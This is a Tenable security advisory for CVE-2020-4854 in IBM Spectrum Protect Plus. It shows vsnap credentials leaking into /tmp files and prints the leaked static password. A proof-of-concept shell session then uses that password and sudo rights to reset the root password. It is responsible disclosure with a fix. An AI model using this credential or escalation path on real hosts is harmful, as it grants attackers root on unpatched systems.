tenable

IBM Spectrum Protect Plus Static Credential Vulnerability

Critical

← View More Research Advisories

Synopsis

CVE-2020-4854: Static Credential Vulnerability

When authenticating to the vsnap API, the username and password are written to a temporary file in the /tmp directory with the filename format of vsnap-<pid>-<unix-time>-<uuid>-in.txt:

```
def check_password(username, password):
    code, _ = system.run_shell_command(('%s/python3 -m simplepam' % const.VENV_BIN_DIR), use_sudo=True, cmd_input=[username, password], ignore_error=True, log_error_as=(logging.
    if code != 0:
        raise errors.AuthenticationError()
[...]
[...]
def run_shell_command(command, cmd_input=None, use_sudo=False, sudo_user='root', sudo_login=False, timeout=480, ignore_error=False, log_error_as=logging.WARN, log_cmd_as=logging
    timed_out = False
    aborted = False
    uid = uuid.uuid4().hex
    outfile_name = '/tmp/vsnap-%s-%s-%s-out.txt' % (os.getpid(), int(time.time()), uid)
    outfile = open(outfile_name, 'w')
    outfile.flush()
    if cmd_input is not None:
        infile_name = '/tmp/vsnap-%s-%s-%s-in.txt' % (os.getpid(), int(time.time()), uid)
        infile = open(infile_name, 'w')
        for line in cmd_input:
            infile.write(line + '\n')
[...]
```

The authentication program (i.e., the simplepam python module) uses the tmp file containing the user name and password as standard input to perform authentication inside vsnap.linux.system.run_shell_command():

```
[...]
    logger.log(log_cmd_as, 'Executing command: ' + log_command_full)
    proc = subprocess.Popen(command, stdin=infile, stdout=outfile, stderr=(subprocess.STDOUT), shell=True, env=env)
[...]
```

After authentication, the tmp file is supposed to be deleted. Code like the following appears in multiple places inside vsnap.linux.system. run_shell_command():

```
        if infile:
            infile.close()
            os.remove(infile_name)
```

However, for some reason, the tmp file is not deleted for some authentication runs, exposing the password for the vsnap user:

```
[serveradmin@spp ~]$ ls -l /tmp/vsnap-*-in.txt
-rw-r--r--. 1 root root 19 Sep 30 22:37 /tmp/vsnap-6738-1601519840-e5c27e43db9440d1bce84d0297adac2d-in.txt
-rw-r--r--. 1 root root 19 Oct  1 05:58 /tmp/vsnap-7139-1601546293-17e3855a3f044e45bf588b15cc0ef38b-in.txt
-rw-r--r--. 1 root root 19 Oct  1 12:53 /tmp/vsnap-7140-1601571193-c63808a4e4384f99a0c0ff112dfb9139-in.txt
-rw-r--r--. 1 root root 19 Oct  1 12:53 /tmp/vsnap-7154-1601571193-24c31d8d33bd439cb2612c7d4746305b-in.txt
[serveradmin@spp ~]$
[serveradmin@spp ~]$ cat /tmp/vsnap-7154-1601571193-24c31d8d33bd439cb2612c7d4746305b-in.txt
vsnap
YKojGy3mBmRh
```

An unauthenticated, remote attacker can use the static credential to SSH into the SPP host as vsnap and then switch to root because the vsnap user has sudo privileges to change the root password:

Proof of Concept

```
[vsnap@spp ~]$ id
uid=991(vsnap) gid=987(vsnap) groups=987(vsnap) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[vsnap@spp ~]$
[vsnap@spp ~]$ sudo -l
Matching Defaults entries for vsnap on spp:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !requiretty, secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, env_keep+=VS_OFFLOAD_ROOTDIR,
    env_keep+=VS_OFFLOAD_POOL, env_keep+=VS_OFFLOAD_DEVICE_PATH, env_keep+=VS_OFFLOAD_POOLCACHE, env_keep+=VS_OFFLOAD_STAGE, env_keep+=VS_OFFLOAD_SESSID

User vsnap may run the following commands on spp:
    (root) NOPASSWD: /opt/vsnap/venv/bin/python3 /opt/vsnap/lib/vsnap/cli/*
    (ALL) NOPASSWD: /usr/bin/mkdir, /usr/bin/rmdir, /usr/bin/chown, /usr/bin/chmod, /usr/bin/id, /usr/bin/cp, /usr/bin/rm, /usr/bin/kill,
        /usr/bin/systemctl, /usr/bin/readlink, /usr/bin/stat, /usr/sbin/fuser, /usr/bin/truncate, /usr/bin/tee, /bin/iostat, /usr/bin/df, /usr/bin/find,
        /usr/bin/cat, /usr/bin/mv, /usr/bin/gzip, /usr/bin/gunzip, /usr/bin/ln, /usr/bin/du, /usr/bin/tar, /usr/bin/mount, /usr/bin/umount, /usr/sbin/mkfs,
        /usr/bin/lsblk, /usr/bin/star, /usr/bin/file, /usr/bin/ps, /usr/bin/grep, /usr/sbin/useradd, /usr/sbin/userdel, /usr/sbin/usermod, /usr/bin/passwd,
        /usr/bin/smbpasswd, /usr/bin/net, /usr/bin, /usr/bin/yum, /usr/sbin/modprobe, /usr/sbin/parted, /usr/bin/dd, /usr/bin/rescan-scsi-bus.sh,
        /usr/sbin/blkid, /usr/sbin/pvs, /usr/sbin/gdisk, /lib/udev/scsi_id, /usr/sbin/wipefs, /usr/sbin/partprobe, /sbin/cryptsetup, /usr/sbin/zpool,
```

```
Changing password for user root.
New password:
BAD PASSWORD: The password contains less than 1 non-alphanumeric characters
Retype new password:
passwd: all authentication tokens updated successfully.
[vsnap@spp ~]$
[vsnap@spp ~]$ su - root
Password:
Last login: Thu Oct  8 14:58:32 EDT 2020 on pts/0
[root@spp ~]#
```

Solution

Upgrade to 10.1.7.

Additional References

https://www.ibm.com/support/pages/node/6367823

Disclosure Timeline

10/08/2020 - Vulnerability discovered
10/09/2020 - Tenable reports vulnerability to IBM.
10/12/2020 - IBM thanks us for the submission. Notifies us that by submitting a vulnerability, we have granted IBM intellectual property rights to the use of the material.
10/28/2020 - Tenable asks for an update.
10/28/2020 - IBM confirms the vulnerability and is working to remediate it.
12/03/2020 - IBM notifies Tenable that the issue has been addressed.

Risk Information

CVE ID: CVE-2020-4854
Tenable Advisory ID: TRA-2020-66
CVSSv3 Base / Temporal Score: 9.8 / 8.8
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products: IBM Spectrum Protect Plus (SPP) 10.1.0-10.1.6
Risk Factor: Critical

Advisory Timeline

12/04/2020 - Advisory published

Healthcare
IT/OT
Ransomware
State / Local / Education
US Federal
Vulnerability Management
Zero Trust
→ View all Solutions

CUSTOMER RESOURCES

Resource Library
Community & Support
Customer Education
Tenable Research
Documentation
Trust and Assurance
Nessus Resource Center
Cyber Exposure Fundamentals
System Status

CONNECTIONS

Blog
Contact Us
Careers
Investors
Events
Media